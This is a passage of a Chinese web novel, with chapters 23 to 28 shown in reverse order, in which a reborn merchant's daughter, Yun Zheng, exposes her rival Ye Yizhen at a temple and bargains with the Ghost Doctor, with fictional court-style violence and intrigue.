云筝嘴角轻扬,一笔勾销?想什么美事呢?“啊,听说黑玉断续膏药效神奇,断手断脚都能治,也给我来点。” “别得寸进尺。”鬼医忽然看向暗处,冷喝道,“是谁?出来!” 一个黑衣人推着轮椅走出来,鬼医看清轮椅上的年轻男人,吓的魂飞魄散,弹跳起来,扑通一声跪倒在地上。 “草民见过九千岁,九千岁吉祥。” 怕成这样,这是受了多大的伤害?云筝不禁看向那个神色冷峻的男人,传说中令人闻风丧胆的九千岁…… 命运的齿轮在这一刻开始转动。 第28章 可恶的有钱人!别诱惑他! 云筝立马提出要求,“第一个,我要十颗解百毒的药丸,十颗延年益寿的丸子,十颗生了重病能立马痊愈的丸子。” 前世,她在鬼医手里吃了大亏,今生当然要狠狠讨回来。 一听这话,鬼医震惊的瞪大眼,“你强盗啊,你还不如杀了我。” 他对着她破口大骂,“你这无知小儿,哪有什么生了重病就能好的药丸?我是人不是神!” “还有,光是解毒丸就要几百种药材,其中像千年灵芝,百年血参都是可遇不可求的宝贝,不是你有钱就能搞到的。” 云筝呵呵一笑,“啊,是我高看你了?还以为你无所不能呢。” 鬼医冷笑一声,“激将法对我没用。” 云筝也不气馁,“那,请将呢?” “没用。”鬼医绝不让步,他要让她明白,话语权在他手里,他说了算! 她想求他办事,就得恭恭敬敬的求他。 可,云筝可不会惯着他,她是要收服他,为她所用,不是找尊大佛供着! “那你是要当一个忘恩负义的老混蛋?” “扑哧。”一道笑声响起。 两人齐刷刷的看过去,一张小脸探出来,“姐姐,我饿了,能请我吃宵夜吗?” 安康一直躲在屋内偷看,生怕他们打起来,看着他们像斗鸡般互不相让,被逗乐了。 云筝冲他招了招手,“春华,准备一锅罗汉素面,再要一份新鲜水果。” “是。”春华转身走向院中的小厨房,她终于知道,自家小姐傍晚多要了一些食材,到底是做什么用的。 不过,这老头就是安康的爷爷?看着很落魄,一点都不厉害呀。 不一会儿,院子中就传出诱人的食物香味,安康眼巴巴的站在灶边看着,坐在石凳上的鬼医直咽口水,孩子失踪的三天,他只顾着寻找孩子,都没吃什么东西了,就靠药丸撑着。 面终于煮好了,三人面前都有一碗面,云筝捧着小碗慢吞吞的吃,她并不饿。 鬼医千里奔波,早就饿的前胸贴后背,一连吃了三大碗素面。 吃完饭,春华送上水果盘,安康的眼睛刷的亮了,看着好好吃的样子。 鬼医瞥了一眼,愣住了,这时节哪来的新鲜百莲果?还有,这是千金难买的冰霜侯果? 可恶的有钱人!他是不会被金钱收买的! 安康拿了一个百莲果递给鬼医,“爷爷,你吃。” 鬼医咽了咽口水,强忍着摆手,“你自己吃吧。” 云筝嘴角微微勾起,“吃吧,这点水果我们云家供得起。” 她都这么说了,鬼医拿起一个百莲果狠狠咬了一口,像在泄愤。 “云小姐,你不是江湖人,也不是医者,所以,你不知道你的条件有多荒唐,像解毒丸的药材非常难得,我天南地北的收集药材,十年里也就炼制了三丸,这些年,也用的差不多了。” 云筝点头表示理解,随后开口道,“你把药材清单给我,半个月内全部送到。” 鬼医:……??? “你在说什么?” 云筝拿起冰霜侯果慢慢啃咬,“我是云家商号的唯一继承人,名下有二十几家药铺。我想要药材,自然会有人送到我手里。” 鬼医羡慕嫉妒恨,语气酸酸的开口,“那些稀奇名贵的药材没有那么好搜罗,普通药铺是没有的。” 按理说,他也该不缺钱,奈何开销太大,药材太烧钱。 有时,还得自己去搜罗珍奇药材,天南地北,刮风下雨,高山峻岭,很是艰苦。 而,云筝可以舒舒服服的坐在家里,等着药材送上门,能不羡慕嫉妒吗? 有些事对别人来说,很难,但对云筝来说,钱能买到很多东西,“哦,我云家是大齐首富,而钱能使鬼推磨。” “是时候让你看看银子的巨大威力了。” 鬼医看着这狂傲的小姑娘,这世道不一样了?有钱人家的孩子已经这么狂了?还是,她是特别的存在? 要知道,没人敢在他面前嚣张,嚣张的都被他送到地下了。 当然,也得罪了很多人,他都不敢在一个地方久待。 “我在这里暂住半个月,这半个月内要吃遍全天下的山珍海味。” 云筝撇了撇小嘴,原来也是一个吃货,这祖孙俩一脉相承,弱点多,好啊,更方便她拿捏。 “不可能,这是寺庙,只能吃素。” 鬼医:…… “你是有求于我!” 云筝毫不示弱,“我对你孙子有救命之恩!” 鬼医气的吐血,这到底哪里冒出来的妖孽,为什么一点都不怕他?这正常吗? 真的,只是普通的商贾之女吗? 手痒的厉害,但一想到九千岁,硬是忍了下来。 云筝眼珠一转,“行了,想吃山珍海味还不简单吗?去云家住,我父母会把你们祖孙奉为上宾,吃香的喝辣的,锦衣玉食,要什么有什么。” 鬼医被她整的没了脾气,疯狂揉搓一头乱发。 安康捧着果子偷偷的笑,眉眼弯弯。 鬼医没好气的瞪了他一眼,“臭小子,你笑什么?” 安康吃的满嘴是汁水,笑的可开心了,“爷爷,姐姐虽然不是什么好人,但还算光明磊落,不用担心她暗算你。” 气的鬼医拍他的脑袋,恨铁不成钢,“都说吃一堑长一智,你怎么一点都没有长进?” 一言不合就甩开下人,被人掳走,差点没命,怎么还不吸取教训? 云筝凉凉的说道,“他还小呢,你这个长辈更努力些,把他保护好,不就完了吗?” 安康的小脑袋用力点了点,“对,爷爷,您要努力些。” 这两人一来一往,爷爷落了下风,不过,姐姐有钱!有山珍海味! 跟着姐姐吃香的,喝辣的! 鬼医看看这个,看看那个,都气笑了,敢情他们是一伙的,他是外人,是吧? 云筝看在眼里,忍俊不禁,推了安康一把,“去哄哄你爷爷。” 安康立马扑进鬼医的怀里,仰着可怜兮兮的小脸,“爷爷,我真的好担心再也见不到你,我好怕。” 鬼医青年丧妻,中年丧子,只有这么一个孙子,自然是爱若至宝,心疼的抱着他,“没事了,都过去了,欺负你的人我都不会放过,一个都不会。” 他是恩怨分明,有仇必报之人。 云筝见状,悄悄退了出去,将空间留给他们祖孙。 回到卧室,云筝拆下珠钗,放下一头乌黑的青丝。 春华拿着梳子替她打理青丝,面有忧色,“主子,您到底想什么?” 云筝仰望星空,神色淡漠如雪,“前世因,今生果,欠了我的统统给我还回来。” 她就没有打算放鬼医祖孙离开,给她好好卖命吧。 人活一世,不可能无欲无求,名,利,情,总有一样能拴住一个人。 鬼医最大的弱点就是他唯一的孙子,拿捏! 说起来要谢谢叶宜蓁,所做的一切为她做了嫁衣。 而此时的叶宜蓁,躺在床上,脸色惨白,一副随时断气的模样,眼中闪过恶毒,“婆母,云筝疯了,她说,要毁了侯府……” 第27章 放长线钓大鱼 厉无恙只说了一句,“放长线钓大鱼。” 云筝懂了,他们身上有九千岁要的东西,她识趣的不再多问,而是小声嘀咕,“她醒的太是时候了。” 这是明晃晃的上眼药,叶宜蓁是装晕。 厉无恙神色古怪,似笑非笑,“是个诡计多端的女人,你有这么一个劲敌,以后的路不好走。” 云筝是死过一回的的人,还有什么可怕的?她只怕不能血债血偿! 再说,重生是云筝最大的优势,她提前知道很多事情,能提前避开陷阱,还能提前预判。 “她啊,确实聪明,就是太聪明了。” 叶宜蓁岂止是聪明,运气好的不可思议,什么好事都轮到她。 厉无恙上下打量了她两眼,“你不怕?” 云筝昂着头,一本正经的说道,“真正的强者,不惧任何挑战。” 厉无恙心情莫名的飞扬,嘴角轻扬,“你刚才怕了。” 云筝默了默,王氏举刀刺过来时,确实把她吓到了。 不怕死是一回事,但,真正面对时,需要极大的勇气。 她还有很多事情没完成。 “不拆穿,你还是好主子。” “呵。” 他们都没提王氏的下场,当着九千岁的面动刀子,还用说吗?能给个痛快的死法,就不错了。 所有人都散去,云筝静静的躺在窗边美人榻上,眉眼沉静。 季嬷嬷不知从哪里冒出来,“小姐,这天色不早了,您还不回侯府吗?” 她急的上火,担心的不得了。 云筝浑然不在意,“现在回去,只会被当成出气桶,不如在外面多逍遥几日。” “可,侯府会拿你的清誉拿捏你,诋毁你……”季嬷嬷已经将自己的未来跟云筝绑在一起,自然是为她着想。 云筝根本不在乎,“在外面过夜,一日和十日没有区别,不是吗?” “放心吧,名声再差也不可能比叶宜蓁差,侯府有的烦了。” 见季嬷嬷还是很不安,她笑着安慰道,“有人顶在前面,有什么可怕的?” 季嬷嬷看着桀骜不驯的主子,脑袋都大了,怎么是这个脾气?“话不是这么说……” 云筝摆了摆手,打断她的话,“行了,明日就回去。” 回去看热闹,嘻嘻。 深夜,雅院静悄悄的,大家都沉浸在梦乡中。 偏院,一个小小的孩童蜷缩在床上,睡的正香。 门悄无声息的推开,一道黑影闪了进来,快步走到床边,一把抱起孩童往外走。 睡梦中的孩子被惊醒,猛的睁开眼睛,“救命,云筝姐姐救我……爷爷?” “是我。”黑影满眼心疼。 安康哭着搂住他的脖子,委屈的不行,“您总算来了,康儿好怕啊。” 老头眼中闪过一丝心疼,但面上不露,凶巴巴的喝斥,“看你以后还敢不敢再甩开下人乱跑。” 这孩子就为了跟他斗气,才闹这么一出,哎,他如今都不知道该怎么管教孩子。 管的轻了,没用。 管的重了,离家出走。 要是老妻和儿子儿媳还在世就好了,他就不用这般操心,哎。 安康哭的很伤心,“我不敢了,我错了,爷爷。” 老者一愣,这孩子向来倔强,从来不会服软,可现在……哎,这是吃了大亏换来的。 他摸了摸孩子的脑袋,轻轻叹了一口气,“别哭了,以后乖一点。” 他抱着孩子往外走,走到院子,瞳孔猛缩,是她!她怎么知道他今晚会出现? 院中,云筝白衣飘飘,眉眼含笑,“鬼医前辈,我等你半天了,你就这么走了?不说几句?” 老者,也就是安康的爷爷,鬼医神色凝重,“大恩不言谢,老朽记着呢。” 云筝没回侯府,留在皇觉寺,就是为了等他的出现。 “谢还是要谢的,若没有我,你们祖孙就成了叶宜蓁手中的刀,被她卖了还在数钱。” 鬼医眉头一皱,但看着怀里的孩子,干巴巴的说了一句,“多谢。” 云筝笑颜如花,“光谢有什么用,给我办十件事吧。” 鬼医的怒火蹭的上来了,冷笑一声,“那你跟叶宜蓁有什么区别?” 要不是孙子的那句,云筝姐姐救我,他早就用毒放倒她了,一个小丫头怎么敢跟他这么说话?、活腻了? 云筝既然敢出现,自然是有底气的,她看向鬼医怀里的孩子,“安康,外面冷,你先回屋休息,好吗?” 他号称是鬼医,自然是心性诡异难测,没有对错之分,喜怒全凭自己心意。 云筝既然敢出现,自然是有底气的,她看向鬼医怀里的孩子,“安康,外面冷,你先回屋休息,好吗?” 安康看看这个,看看那个,有些犹豫,“你们别打架,行吗?” 云筝捏捏他的小脸,“我是斯文人,不打。” 安康任由她捏来捏去,鬼医错愕的看着这一幕,他这个孙子最讨厌别人捏他的脸,谁都不行。 所以,云筝对他来说,很特殊? 安康眼巴巴的看过来,“爷爷,云筝姐姐是我的救命恩人。” 鬼医默了默,孙子居然对一个外人产生了依赖,这才多久啊?“我知道,我不杀她。” 等安康进了屋子,云筝才慢悠悠的开口,“我和叶宜蓁还是有区别的,她用阴谋诡计,将你们祖孙耍的团团转,而我,光明正大的告诉你,欠钱还钱,欠了人情就得还,天经地义。” 鬼医眼中闪过一丝杀气,阴森森的盯着她。 “你留不住我,我不杀你,但能弄残你。” 云筝不但不怕,还气定神闲的拂了拂发丝,“对,但是,我跟九千岁报备过了,若我有所闪失,就请他海捕文书捉拿你,就算你逃到天涯海角,也逃不脱明镜司的通缉。” “更何况你带着一个孩子,你忍心让他东躲西藏,时时胆战心惊,活的朝不保夕吗?” 鬼医的脸绿了,不得不说,她戳中了他最致命的要害。 他跟那位九千岁打个交道,那是一个可怕的男人。 除非万不得已,绝对不想再碰到那个男人。 “九千岁为何要帮你?” 云筝不动声色的打量他,一身黑衣,头发乱糟糟的,胡子拉碴,很是狼狈。 “我有钱啊,我答应送他几百万两银子。” “你若是翻个倍,给他送个千万两银子,也能让他取消通缉令。” 有钱人太讨厌,一出手就是几百万两银子,而自己口袋里不超过十两银子,这一刻鬼医绝不承认自己酸了! 他沉吟半响,“我只能答应你三个条件。” 云筝暗暗松了一口气,嘴角轻轻扬起,“看在安康这么可爱的份上,我吃亏点,五个条件。” 鬼医心里憋屈的要命,谁敢跟他谈条件?就她! “两个。” 云筝不乐意了,“你怎么这么还价?行吧,三个就三个。” 鬼医总算扳回了一局,心里舒服多了,却没有发现云筝眼中闪过的一丝笑意。 一切都在她掌控中。 薅羊毛,走起! 第26章 反杀 眼见匕首就要刺中云筝,一颗石头砸中匕首,匕首飞了出去。 而,明镜司众人扑过去制住王氏,一把将她按倒在地。 云筝死里逃生吓出一身冷汗,她还是太弱了,一个老婆子都差点要了她的命。 不行,她得有自保的能力。 她擦了擦额头的汗珠,深吸一口气,收拾好情绪,上前盈盈一福,“九千岁救命之恩,云筝在此谢过。” 那石头是九千岁扔的,没想到他的身手不错。 厉无恙淡淡瞥了她一眼,这嘴硬的丫头,终于有了一点正常女孩子的样子。 “敢在本王的眼皮底下杀人,就是在挑衅本王的权威,死不足惜,来人,拖下去打三十大板。” 王氏面如死灰,眼中一片灰暗,她完了。 云筝冷冷的看了她一眼,“等一下。” 她捡起地上的匕首,慢悠悠的走到王氏面前,居高临下看着她。 王氏眼神闪烁,有惶恐,有不安,还有浓浓的怨恨。 就差一点!她为什么不乖乖去死?! 随后,她面色一变,变的无助而又可怜,“我错了,二少夫人,我一时糊涂,以后再也不敢了。” “我一把年纪了,挨板子会死的,求您向九千岁求个情,原谅我这一次吧。” 云筝把玩着匕首,“好啊,我原谅你。” 王氏眼中闪过一丝惊喜,一丝嘲讽,也不过如此,“您真是太好了,我实在是羞愧难当,以后,我一定会把你当菩萨般供着,啊!” 一道白光闪过,刀起刀落,鲜血溅起,王氏右手手筋被挑断,疼的惨叫连连。 云筝一脚踩在她鲜血淋漓的右手,狠狠辗了辗,听到骨头断了的声音,心里堵的那一口恶气终于发泄出来,舒服了。 她嘴角扬起一抹凉薄的笑容。“我不记仇,因为,有仇我当场报了。” 这一手震住了所有人,人不可貌相啊。 就连江闻舟也惊呆了,后背发寒,她是个狠人! 厉无恙嘴角轻扬,干的不错,他最讨厌那些柔柔弱弱,只知道哭泣的女人。 云筝慢条斯理的擦去匕首的血,“九千岁,叶宜蓁的奶嬷嬷居然随身携带凶器,这太不寻常了,我建议彻查她的背景。” 言下之意,奶嬷嬷的身份背景可疑。 奶嬷嬷痛的死去活来,恶狠狠的瞪着她,“那是因为,你对我家小姐一直虎视眈眈,暗藏杀心,我才特意拿着防身。” 不愧是叶宜蓁的心腹,脑子挺好使,手段也够凶狠,可惜,遇到了云筝,她更狠。 云筝微微一笑,“我一个手无缚鸡之力的弱女子,能做什么?找个合理点的理由,很难吗?你呢,要么,身份有问题,要么,就是叶宜蓁指使你这么干的。” 手无缚鸡之力的弱女子?大家表示质疑,确定吗? 王氏不禁大急,“不,不是,跟我家小姐没关系。” 她的主子绝不能沾上善嫉的名声!更不能沾上人命! 刚才还冷眼旁观的江闻舟忍不住跳出来,“云筝,你这恶毒的女人,闭嘴。” 云筝一脸的嫌弃,“嘴长着就是用来说话的,难道你是用来吃屎的?好脏啊。” 江闻舟又气又恼,“信不信,我这就休了你?” 云筝挑了挑眉,给他一个鄙视的眼神,“不信,你不敢,怂货!” “你……”江闻舟全身的热血直往脑门冲,想掐死她的心都有了。 “我这就休……” 云筝就等他这句话说出来,毕竟他有头有脸,当着这么多人的面不好改口。 谁知,被人打断了,“世子。” 是江闻舟身边的随从郭叔,也是平西侯从小到老的伴读,一身好武艺,负责江闻舟的安全。 江闻舟及时收口,不行,还不是时候。 就差一点点,云筝好失望,视线落到挨板子的王氏身上。 嗯,就算是手筋被挑断,手断了,依旧要挨三十大板,九千岁的命令无人可违背。 一名明镜司的官员跑进来,“九千岁,消息传来,明镜司去查案时,飘香居的小厮自杀了。” 厉无恙微怔,“死了?” 官员小心翼翼的禀道,“死了,我们查了小厮的背景,孤儿,性情孤僻,独来独往,常年住在飘香居的下人房。” 厉无恙微微蹙眉,若有所思。是畏罪自杀?还是另有隐情?那么巧? “彻查。” “是。” 厉无恙看了一眼天色,冷声下令道,“把叶宜蓁和王氏等人关进明镜司大牢。” 江闻舟脸色大变,紧紧护着怀里的女子,“九千岁,叶宜蓁是我们平西侯府的大少夫人,没有任何证据证明她有罪,您不能关押她。” 厉无恙冰冷的眸子锁定他,“你这是教本王怎么做事?” 江闻舟如被猛野兽锁定,浑身颤栗,汗流浃背。“臣不敢。” 明镜司的人上前抢夺昏迷的叶宜蓁,江闻舟怎么也不肯撒手。 那可是臭名远扬的明镜司,有去无回的诏狱! 正在拉扯时,叶宜蓁幽幽醒来,一脸的茫然,“疼,江哥哥,我好疼。” 随着她的话,两颗豆大的泪珠滚落下来。 江闻舟见状心如刀绞,脑海里闪过一个念头。 “王爷,蓁蓁受了重伤,若不及时治疗,恐怕会性命之忧,还请王爷恩准,让我将她带走去疗伤,等处理好伤口后,我亲自送她去明镜司报道。“ 厉无恙眼神微眯,江闻舟和叶宜蓁紧紧抱在一起,瑟瑟发抖。 一片鸦雀无声,极致的压抑中,厉无恙忽然扬了扬眉,“好,就给平西侯府一个面子。” “明日戌时之前没来报道,明镜司会上门缉拿,到时,平西侯府也会受到牵连。” “是。”江闻舟如获大赦,抱着叶宜蓁飞奔离开。 云筝看着他们远去的身影,微微蹙眉,九千岁有那么好心?开什么玩笑。 她转头看向厉无恙,厉无恙微心情不错,嘴角勾起一道意味深长的弧度,似乎在打什么主意。 该走的都走了,还剩下厉无恙主仆俩和云筝。 云筝眼珠滴溜溜的转,大着胆子问道,“您为什么放走他们?这不符合您一贯的作风。” 她有一种预感,有人要倒大霉了,哈哈哈。 第25章 来啊,大家一起发疯啊 “我没听错吧?他疯了吗?” “他居然连小孩子都不放过。” 程明丽揉了揉眼睛,“素素,我承认以前是眼瞎,他不配。” 居然喜欢上这种玩意,去魅了。 一道冷冰冰的声音响起,“确实要治罪!” 一群黑衣人簇拥着一个坐轮椅的男人过来,个个腰间挎着刀剑,杀气腾腾的。 现场的气氛一下子紧张起来,胆小的腿在发抖。 “九千岁,是九千岁。” 众人纷纷跪下去,“参见九千岁,千岁千岁千千岁。” 只有江闻舟抱着叶宜蓁犹犹豫豫,想跪,又舍不得将昏迷的女人放在心上,左右为难。 厉无恙冷戾的目光扫过来,“平西侯世子,见本王不跪,这是对本王不满?” “不不,臣不敢。”江闻舟吓了一大跳,赶紧将叶宜蓁放在地上,一个老妇人见状,小心翼翼的守护在她身边。 云筝的视线落在老妇人身上,眼神瞬间冷了下来,这是叶宜蓁的奶嬷嬷,王氏,也是她的爪牙之一。 前世,云筝在王氏手里吃尽了苦头,被虐打被羞辱是常事,她就不明白,一个老嬷嬷怎么懂那么多折磨人的手段,心肠怎么那么歹毒。 江闻舟重重跪了下去,匍匐在九千岁脚下,大声不敢喘,全然没了刚才的威风。 厉无恙居高临下的扫视众人,目光扫到之处,莫不胆战心惊。 “是谁公然封锁了皇觉寺?是谁将上千人关在皇觉寺不得进出?是谁这么大胆?” 这饱含冷意的质问,让江闻舟浑身一颤,“是我,九千岁,您听我解释,这事出有因……” 不等他说完,云筝率先发难了,“禀九千岁,我要状告叶宜蓁绑架拐卖孩童。” 来啊,一起发疯啊。 江闻舟脸色剧变,“云筝,你敢?” 云筝指着地上昏迷的叶宜蓁,“你为了替这个女人洗白,不惜毁掉我,我有什么不敢的?” 你做初一,我就做十五,谁怕谁呀? 江闻舟冷笑一声,“云筝,不管你耍什么手段,我也不会多看你一眼。蓁蓁要是出了事,我这辈子都不会原谅你。” 云筝气笑了,他不会以为自己所做的一切,都是为了得到他吧?这么普通,却又这么自信。 她都懒的给他眼色,“九千岁,您看,他在包庇罪犯。” 厉无恙定定的看着四周,右手一挥,“将此女和她的下人统统拿下,严刑拷问。” 说是只抓服侍叶宜蓁的下人,但哪里分得清呀,除了了江闻舟和他的两名随行外,其他丫环侍女嬷嬷,家丁车夫都抓了起来。 江闻舟不禁急了,“九千岁,您不能听信一面之词,就对我们侯府滥用私刑,我不服!” 不远处的定国公投来一个,勇气可嘉的眼神,默默移到一边。 厉无恙眼神冷了几分,嘴角扬起一抹凉薄的弧度,“不服?很好,来人,当众行刑。” 当着所有人的面,将平西侯府的下人抓起来,齐齐压在地上,一个个轮流等着行刑。 从男仆开始,一个个行刑,板子敲打肉体的声音,下人凄厉的惨叫声,伴随着扑鼻的血腥味,让旁观的人胆战心惊。 后面等待行刑的下人更是吓破了胆子,一迭声的说,“我一定老老实实交待,求快问吧。” 江闻舟又气又怒,但一句不服已经耗尽了他所有的勇气。 九千岁可不是讲理的人,他权柄在手,说一不二,所到之处腥风血雨,让人胆寒。 一名丫环率先扛不住了,“我招,我招。” 厉无恙一挥手,行刑人退到一边,丫环浑身是血,被拖到厉无恙面前。 “大少夫人行迹确实可疑……”这是叶宜蓁院中的粗使丫环,小荷,长的五大三粗。 江闻舟不禁急了,“小荷,不许胡说,别忘了蓁蓁对你的恩典。” 叶宜蓁出门很爱带着小荷,遇到马车上不去的地方,就让小荷背她上去。 所以,虽然不是叶宜蓁的心腹,但知道不少事情。 小荷被打怕了,赶紧说道,“按理说,新婚三日内不能随意出门,可,大少夫人缠了世子一夜,终于说动世子带她前来上香,还点名是皇觉寺。” 对,没错, 新婚三日没有特别重要的事情,是不会出门的,朝廷也会放三日婚假。 有些人表示质疑,有些人的注意力却在缠了一夜上,怎么缠的? 这叶宜蓁看着清纯淡雅,其实是个闷骚的?看不出来呀。 江闻舟恶狠狠的瞪着小荷,恨不得灭了她,“我们是来烧第一炷香,祈求菩萨保佑。” 云筝凉凉的笑问,“第一炷香什么时候不能烧,非要在新婚第三日?这么迫不及待,怎么看都有问题。” 她毫不手软的落井下石。 江闻舟最恨的人就是她,她一手毁了他和叶宜蓁的好名声。 “你这个毒妇!” 云筝冷冷一笑,这就毒了? 那,他好好等着吧。 小荷指着躲在最后面的老妇,大声说道,“昨天,大少夫人的奶嬷嬷王氏出了一趟门,说是出门买大少夫人爱吃的点心,但,回来时有些魂不守舍。” 大家的目光落在王氏身上,王氏还没有轮到用刑,缩在人后几乎没有什么存在感。 云筝的目光落在王氏身上,果然,叶宜蓁若有事,一定会派她出马。 “小贱蹄子,我哪里不安了?我分明是累着了。” 问是怎么出门,车夫举手回道,“王氏是坐我的马车出门的,先是去百颜阁买了新出的胭脂,又转去飘香居买了刚出炉的千层酥, 之后就回府了。” 明镜司的人追问道,”这其中跟谁接触了?“ 车夫摇了摇头,”我没有跟着进门,不清楚。” 厉无恙神色淡淡的,“飞鸽传书,查查,这一路她跟什么人接触?” “是。” 王氏脸色发白,一迭声的叫屈。 “九千岁,老奴冤枉啊,我家小姐更冤枉,她被抢走了两情相悦的夫君,被人指着鼻子骂穷,被世人嘲讽,她到底做错了什么?” 这种时候,她还在替叶宜蓁洗白,将箭头对准了云筝。 云筝可不怕事,大大方方的走上前,“我来告诉你。” 她手指着昏迷的叶宜蓁,公然手撕。 “她错在,明知侯府想瞒天过海,移花接木,却没有通知我们云家一声,但凡她悄悄送个信,我们云家就不会嫁女,既要又要,还装什么委屈。” “她错在,明知侯府嫌她穷,却死活要嫁,还痴心妄想夺走我的嫁妆,再踩死我。” “她错在,野心太大,却没有相应的实力匹配。” “人贵有自知之明,她没有!” 句句扎心,字字犀利,将叶宜蓁的假面具撕下来,狠狠踩在脚底下。 现场一片骚动,云筝仿佛看到昏迷的叶宜蓁手指动了动,这……是装晕? 就在此时,一道身影挥舞着匕首扑向云筝,“我跟你拼了。” “小姐,小心。”春华猛的尖叫。 云筝脑袋一片空白,眼睁睁的看着匕首刺向自己,明知要逃开,但双脚像是被冻住了,动弹不得…… 第24章 毒誓敢发吗? 叶宜蓁忽然脸色一变,义正言辞的喝斥。 “云筝,你又害我!什么鬼医?听着就好吓人,我一个养在深闺的女子,怎么知道这些?我可不是你,出身商贾,尽跟这些乱七八糟的人交往。” 话里话外,她最无辜最清白,她是被云筝陷害的。 她挤出最甜美的笑容,“小孩,你被她骗了。” 安康眼珠一转,“那你发誓,你不知道我爷爷是谁,否则,夫君早死,一生无儿无女,被灌毒药,被扔去乱葬岗,死无葬身之地。” 好毒! 全场鸦雀无声,齐刷刷的看向叶宜蓁,你敢发誓吗? 敢吗?叶宜蓁的心脏如被一只不知名的大手拽停住,的脸色越来越白,身体晃了晃,倒向江闻舟。 江闻舟心疼坏了,大声怒斥,“你小小年纪怎么这么恶毒?云筝,是你,是你教他的!” 云筝微微一笑,“叶宜蓁,你害怕了。” 安康见她怕成这样,彻底相信了云筝的话,“好奇怪,你不知道就不会应誓啊,怕什么呀?” 大家也想问一句,你怕什么? 叶宜蓁有几分急智,眼珠一转,有了新的借口,“我不会拿自己的清誉发誓,这本身是一种羞辱,我不接受。” 安康很生气,“那就是心虚,我不会让我爷爷帮你用毒药杀人的。” 这话一出,大家看叶宜蓁的眼神都不一样了。 所以,所有人真的被她骗了?今日就是一个局,既是挣好名声,又能收揽一个医毒双绝的高人? 高啊,太高明了,一箭双雕,将所有人玩弄于鼓掌之间。 好可怕的女人。 叶宜蓁浑身发抖,拼命否认。 云筝欣赏着她被反噬的狼狈模样,她设局时,就该做好失败的准备。 “叶宜蓁,你要杀谁?我吗?还是哪位贵人?这就是你要干的大事?” 定国公的眼睛危险的眯了起来,再联想到那句,去宫中干大事……全串起来了! 他后背的寒毛瞬间竖了起来,冷冷的看向叶宜蓁…… 叶宜蓁快要崩溃了,脸色惨白如纸,眼含热泪,“云筝,你非要害死我才罢休吗?好,我成全你。” 她一把推开江闻舟,一脸绝决的撞向墙壁。 江闻舟肝胆欲裂,惊恐万状,飞扑上去阻止,“蓁蓁,不要。” 他拉的及时,叶宜蓁身体一歪,只撞到些许,但还是头破血流,两眼紧闭,昏过去了。 江闻舟焦急的叫唤她的名字,情绪极为激动。 众人见状,都沉默了,不好再说什么。 她,或许是清白的,大家误解她了。 云筝挑了挑眉,“不得不说,叶宜蓁是谋略高手,一见情势不妙,立马撞墙以证清白,堵住所有人的嘴,谁要是再指责她,就是不善良,太高明了。” 这话一出,摇摆不定的人一听,可不是吗?这恐怕是一种脱罪的手段。 江闻舟气炸了,“云筝,你将她逼到这种地步,你的良心不会痛吗?蓁蓁要是有个三长两短,我不会放过你的。” 安康凑过去瞧了瞧,他年纪小,没有杀伤力,江闻舟只顾着替叶宜蓁治伤口,也顾不上赶他走。 安康看了一会儿,忽然说道,“不对啊。” 云筝好奇的问道,“什么?” 安康指了指躺在江闻舟怀里的女人,“你看,这角度,分明是保留了余力,就算不拉她,她也不会死的。” 云筝深知叶宜蓁的为人,全天下的人都死光了,她这种凉薄自私的人也不会自杀。 “你是说,她装的?” 安康皱着眉头,满满的嫌弃,“对,她在表演一哭二闹三上吊,她好虚伪呀。” 可恶,她不光伤害了他,还欺骗他的感情。 若不是云筝姐姐拆穿真相,他们祖孙俩就上了坏女人的当,一辈子被她利用了。 外面好可怕!他想回家!爷爷快来! 江闻舟大声喝斥,“你一个小孩子懂什么?” 安康不甘示弱,“我家学渊源,有什么不懂的?她宁愿撞墙,也不愿意发誓,为什么呀?” 还能为什么?心虚! 到此,叶宜蓁苦心经营的美好形象彻底崩溃,虚伪,恶毒,成了她的标签。 不同于上次,可以洗白成两女争夫, 儿女情长,说不上谁好谁坏。 可这次,怎么洗呢?做戏,欺骗世人,拿孩子来当垫脚石,这样的人太可怕了。 以后,谁还敢跟她交心? 秦素素满脸苦笑,“原来我们都被耍了,什么人美心善,都是装的。” 父亲一直说她心思单纯,遇人遇事要多想想,她差一点就成了帮凶。 一想到这,她越发不能原谅叶宜蓁。 “可恶,我发誓,这辈子都不会接纳这个恶毒的女人进入我们的圈子。” 她的好姐妹,将军家的大小姐,程明丽轻轻叹了一口气,满脸的惆怅,“这么虚伪的女人,平西侯世子到底喜欢她什么?” 曾经,平西侯世子也是她暗暗喜欢的人,他成亲时,她还偷偷哭了一场。 秦素素抿着嘴,“有些天生就贱,就喜欢坏女人!” 程明丽:…… 忽然觉得,平西侯世子也没有那么美好了。 江闻舟不但不觉得叶宜蓁有问题,反而将所有的责任推到云筝头上。 “云筝,这个孩子是你安排的,今日这一出戏也是你事先安排好的,就是为了陷害我们俩,只为了泄愤,你好歹毒的心肠。” 安康气的直瞪眼,拿出石头砸过去,“ 你才是安排的,你们全家都是安排的,坏蛋,你们设计绑架我,我爷爷不会放过你们的,等着瞧!” 江闻舟微微侧头,没有被砸中,但彻底被激怒了,“来人,把这小杂种和云筝送去衙门,治他们一个勾结贼子,欺侮官眷的罪名。” 眼下,只有将这两人彻底打成罪犯,叶宜蓁的名声才能保住,才能在圈子里站稳脚跟。 他只要叶宜蓁好好的活着,其他人的生死关他屁事。 香客们惊呆了,颠倒黑白,为了一个居心叵测的女人,将发妻送去衙门,这是人干的事吗? 云筝捂着脸,一副伤心欲绝的模样,嘴角却微微扬起,不作不会死,越作,死的越快。 这才刚刚开始,让反噬来的更激烈些吧。 第23章 扎心了 云筝一双乌黑的眸子看了过来,“啊,忘了介绍一下,叶宜蓁,就是这位,你们都认识吧……” 她眼中隐隐有一丝嘲讽,又像是一切尽在掌控的笃定。 叶宜蓁有种不好的预感,不行,不能让她再说下去。 “弟妹,我知道你恨我,讨厌我,你怎么对我都没有关系,但不要牵扯到侯府,平西侯府忠心耿耿,不该成为你迁怒的对象。” 听听,她是多么的宽容大度,多么的识大体。 衬的云筝是个心胸狭窄,不择手段,报复心重的坏女人。 云筝面对众人质疑的目光,不紧不慢的开口。 “这位夫人说要在皇觉寺安排一出好戏,要让世人知道,她是个善良正直的好女人,从而打开上流社会的圈子,笼络人心,顺利进入皇宫干大事。” 她说的很笼统,半含半露,却比直接了当说更能激起大家的遐想。 定国公的眼睛眯了起来,他的政治素养强过在场的香客,短短一句话, 听出了步步惊心。 在皇宫干什么大事?刺杀?毒杀?造反?无数个念头闪过。 但,前提是,这话有几分真实? 叶宜蓁的心怦怦狂跳,快要跳出胸腔,惊惧万分。 云筝面露迷惑之色,“我不知道,什么大事需要一个女人抛头露面拉拢人心,但我就好奇,她安排了什么好戏?所以,我提前过来蹲点。” 